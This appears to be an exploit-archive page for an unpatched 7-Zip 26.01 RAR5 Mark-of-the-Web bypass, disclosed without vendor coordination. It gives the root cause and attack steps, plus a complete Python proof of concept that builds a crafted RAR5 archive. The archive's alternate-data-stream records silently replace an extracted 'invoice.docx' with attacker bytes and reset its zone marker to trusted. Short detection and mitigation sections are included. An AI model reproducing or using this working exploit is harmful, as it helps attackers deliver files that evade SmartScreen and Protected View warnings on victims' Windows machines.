PoC Archive PoC Archive
High None assigned as of 2026-07-03 unpatched

7-Zip RAR5 Mark-of-the-Web / ADS Full-Chain Bypass

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
High
CVE
None assigned as of 2026-07-03
Category
misc
Affected product
7-Zip 26.01 x64 for Windows
Affected versions
7-Zip 26.01 (Windows, NTFS destination)
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-07
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorymisc
SeverityHigh
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tags7-zip, rar5, mark-of-the-web, alternate-data-streams, ntfs, motw-bypass, windows, archive-extraction
RelatedN/A

Affected Target

FieldValue
Software / System7-Zip 26.01 x64 for Windows
Versions Affected7-Zip 26.01 (Windows, NTFS destination)
Language / PlatformPython 3.10+ (PoC generator/driver, invokes installed 7z.exe)
Authentication RequiredNo (victim must extract the crafted archive)
Network Access RequiredNo (local archive extraction; delivery is out of scope)

Summary

7-Zip 26.01 on Windows mishandles RAR5 archives that contain crafted STM (stream) service records alongside a normal file entry. By naming one stream ::$DATA and another :Zone.Identifier:$DATA, an attacker can make the archive-provided data silently override both the extracted file’s final visible bytes and its propagated Mark-of-the-Web (MotW) Zone.Identifier stream, because NTFS resolves these differently-suffixed stream names to the same underlying alternate data stream that 7-Zip’s own zone-propagation logic writes to. When the source archive itself carries an Internet-zone marker, 7-Zip normally propagates that marker to extracted files, but the crafted RAR5 stream is applied afterward and overwrites it, effectively resetting the extracted file’s zone to ZoneId=0 (trusted) while also swapping in attacker-controlled content. This lets a downloaded archive produce an extracted document that both looks different from what a user might expect and no longer carries the “downloaded from the internet” security warning. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

7-Zip’s Zone.Identifier propagation guard checks for streams named exactly Zone.Identifier, but treats an archive-supplied stream name suffixed with :$DATA (e.g., Zone.Identifier:$DATA) as a distinct name even though NTFS resolves both forms to the identical alternate data stream on disk — allowing the archive-supplied stream to silently replace the zone marker 7-Zip itself just wrote.

Attack Vector

  1. Attacker builds a minimal RAR5 archive containing a normal, benign-looking invoice.docx file entry.
  2. Attacker adds a RAR5 STM stream named ::$DATA carrying attacker-controlled final file bytes (targets the file’s default/unnamed NTFS stream).
  3. Attacker adds a second RAR5 STM stream named :Zone.Identifier:$DATA carrying attacker-controlled MotW content (e.g., ZoneId=0).
  4. Attacker marks the archive itself with an Internet-zone identifier (ZoneId=3), as it would be after download.
  5. Victim extracts the archive with a vulnerable 7-Zip 26.01 build; 7-Zip propagates the archive’s Internet zone to the extracted file, then the crafted STM streams overwrite both the visible content and the zone marker.

Impact

Arbitrary control over both the final content written to disk and the security-zone metadata of an extracted file, enabling MotW-based security warnings (SmartScreen, Office Protected View, etc.) to be suppressed on a file that originated from the internet.


Environment / Lab Setup

Target:   Windows host with 7-Zip 26.01 (x64) installed, NTFS volume
Attacker: Python 3.10+, no additional packages required

Proof of Concept

PoC Script

See poc.py in this folder.

1
python poc.py --sevenzip "C:\Program Files\7-Zip\7z.exe"

The script builds a RAR5 archive in memory containing a decoy invoice.docx entry plus the two crafted STM streams, marks the archive itself as Internet-zone, extracts it with the target 7-Zip build, and verifies both that the extracted file content was swapped and that its Zone.Identifier stream was reset to ZoneId=0.


Detection & Indicators of Compromise

Signs of compromise:

  • Documents extracted from downloaded archives that unexpectedly open without SmartScreen/Protected View warnings
  • RAR5 archives containing multiple STM records with $DATA-suffixed stream names for a single file entry
  • Mismatch between an archive’s own Zone.Identifier and the Zone.Identifier of files extracted from it

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory from 7-Zip
Interim mitigationExtract untrusted RAR5 archives in an isolated/sandboxed environment; do not rely on MotW alone to gate execution of extracted files; verify extracted file Zone.Identifier streams before opening

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: 7zip-rar5-motw-chain-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
from __future__ import annotations

import argparse
import binascii
import hashlib
import os
import shutil
import struct
import subprocess
import sys
from pathlib import Path


MARKER = b"Rar!\x1a\x07\x01\x00"

HFL_EXTRA = 1 << 0
HFL_DATA = 1 << 1

HT_ARC = 1
HT_FILE = 2
HT_SERVICE = 3
HT_END = 5

EXTRA_SUBDATA = 7
HOST_WINDOWS = 0
ATTR_ARCHIVE = 0x20

MAIN_NAME = "invoice.docx"
MAIN_BYTES = b"BENIGN preview bytes from main RAR5 file\r\n"
FINAL_BYTES = b"ATTACKER final visible bytes from ::$DATA stream\r\n"
FINAL_ZONE = b"[ZoneTransfer]\r\nZoneId=0\r\n"
SOURCE_ZONE = b"[ZoneTransfer]\r\nZoneId=3\r\n"


def vint(value: int) -> bytes:
    if value < 0:
        raise ValueError("negative vint")
    out = bytearray()
    while True:
        b = value & 0x7F
        value >>= 7
        if value:
            out.append(b | 0x80)
        else:
            out.append(b)
            return bytes(out)


def block(header_type: int, header_flags: int, body: bytes, *, extra: bytes = b"", data: bytes = b"") -> bytes:
    fields = bytearray()
    fields += vint(header_type)
    flags = header_flags
    if extra:
        flags |= HFL_EXTRA
    if data:
        flags |= HFL_DATA
    fields += vint(flags)
    if extra:
        fields += vint(len(extra))
    if data:
        fields += vint(len(data))
    fields += body
    fields += extra

    size = vint(len(fields))
    crc_data = size + fields
    crc = binascii.crc32(crc_data) & 0xFFFFFFFF
    return struct.pack("<I", crc) + crc_data + data


def file_body(name: str, data: bytes, *, record_name: str | None = None, method: int = 0) -> bytes:
    name_bytes = (record_name if record_name is not None else name).encode("utf-8")
    body = bytearray()
    body += vint(0)
    body += vint(len(data))
    body += vint(ATTR_ARCHIVE)
    body += vint(method)
    body += vint(HOST_WINDOWS)
    body += vint(len(name_bytes))
    body += name_bytes
    return bytes(body)


def subdata_extra(stream_name: str) -> bytes:
    data = stream_name.encode("utf-8")
    rec = vint(EXTRA_SUBDATA) + data
    return vint(len(rec)) + rec


def service_stream(parent_name: str, stream_name: str, payload: bytes) -> bytes:
    return block(
        HT_SERVICE,
        0,
        file_body(parent_name, payload, record_name="STM"),
        extra=subdata_extra(stream_name),
        data=payload,
    )


def build_archive() -> bytes:
    out = bytearray(MARKER)
    out += block(HT_ARC, 0, vint(0))
    out += block(HT_FILE, 0, file_body(MAIN_NAME, MAIN_BYTES), data=MAIN_BYTES)
    out += service_stream(MAIN_NAME, "::$DATA", FINAL_BYTES)
    out += service_stream(MAIN_NAME, ":Zone.Identifier:$DATA", FINAL_ZONE)
    out += block(HT_END, 0, vint(0))
    return bytes(out)


def sha256(path: Path) -> str:
    h = hashlib.sha256()
    with path.open("rb") as f:
        for chunk in iter(lambda: f.read(1024 * 1024), b""):
            h.update(chunk)
    return h.hexdigest().upper()


def find_7z(explicit: str | None) -> Path:
    candidates: list[str] = []
    if explicit:
        candidates.append(explicit)
    found = shutil.which("7z")
    if found:
        candidates.append(found)
    candidates.append(r"C:\Program Files\7-Zip\7z.exe")
    candidates.append(r"C:\Program Files (x86)\7-Zip\7z.exe")

    for candidate in candidates:
        path = Path(candidate)
        if path.is_file():
            return path
    raise SystemExit("7z.exe not found. Pass --sevenzip C:\\path\\to\\7z.exe")


def run_7z(sevenzip: Path, *args: str) -> str:
    proc = subprocess.run(
        [str(sevenzip), *args],
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
        errors="replace",
        check=False,
    )
    if proc.returncode != 0:
        raise RuntimeError(f"7-Zip failed with exit code {proc.returncode}\n{proc.stdout}")
    return proc.stdout


def read_ads(path: Path, stream_name: str) -> bytes:
    with open(str(path) + ":" + stream_name, "rb") as f:
        return f.read()


def write_ads(path: Path, stream_name: str, data: bytes) -> None:
    with open(str(path) + ":" + stream_name, "wb") as f:
        f.write(data)


def printable(data: bytes) -> str:
    return data.decode("utf-8", errors="replace").replace("\r", "\\r").replace("\n", "\\n")


def main() -> int:
    parser = argparse.ArgumentParser(description="Verify the 7-Zip RAR5 STM MotW/ADS full chain.")
    parser.add_argument("--sevenzip", help="Path to 7z.exe. Defaults to PATH or Program Files.")
    parser.add_argument("--work-dir", default="poc-run", help="Directory for generated files.")
    args = parser.parse_args()

    if os.name != "nt":
        raise SystemExit("This PoC uses Windows NTFS alternate data streams.")

    sevenzip = find_7z(args.sevenzip)
    work_dir = Path(args.work_dir).resolve()
    if work_dir.exists():
        shutil.rmtree(work_dir)
    work_dir.mkdir(parents=True)

    archive_path = work_dir / "rar5-content-and-motw-chain.rar"
    archive_path.write_bytes(build_archive())
    write_ads(archive_path, "Zone.Identifier", SOURCE_ZONE)

    version = run_7z(sevenzip).splitlines()[1].strip()
    listing = run_7z(sevenzip, "l", "-slt", "-sns", str(archive_path))
    output_dir = work_dir / "out"
    output_dir.mkdir()
    extraction = run_7z(sevenzip, "x", "-y", "-snz1", f"-o{output_dir}", str(archive_path))

    final_path = output_dir / MAIN_NAME
    final_content = final_path.read_bytes()
    final_zone = read_ads(final_path, "Zone.Identifier")

    if final_content != FINAL_BYTES:
        raise AssertionError(f"Final visible content mismatch: {printable(final_content)}")
    if final_zone != FINAL_ZONE:
        raise AssertionError(f"Final Zone.Identifier mismatch: {printable(final_zone)}")

    listed_rows = [
        line
        for line in listing.splitlines()
        if line in {
            "Path = invoice.docx",
            "Path = invoice.docx::$DATA",
            "Path = invoice.docx:Zone.Identifier:$DATA",
            "Alternate Stream = -",
            "Alternate Stream = +",
        }
        or line.startswith("Size = ")
    ]
    extracted_rows = [
        line
        for line in extraction.splitlines()
        if "Everything is Ok" in line or line.startswith("Files:") or line.startswith("Alternate Streams")
    ]

    print(f"[+] 7-Zip: {version}")
    print(f"[+] archive: {archive_path}")
    print(f"[+] archive sha256: {sha256(archive_path)}")
    print("[+] listing evidence:")
    for row in listed_rows:
        print(f"    {row}")
    print("[+] extraction evidence:")
    for row in extracted_rows:
        print(f"    {row}")
    print(f"[+] final visible content: {printable(final_content)}")
    print(f"[+] final Zone.Identifier: {printable(final_zone)}")
    print("[+] VULNERABLE: full chain verified")
    return 0


if __name__ == "__main__":
    sys.exit(main())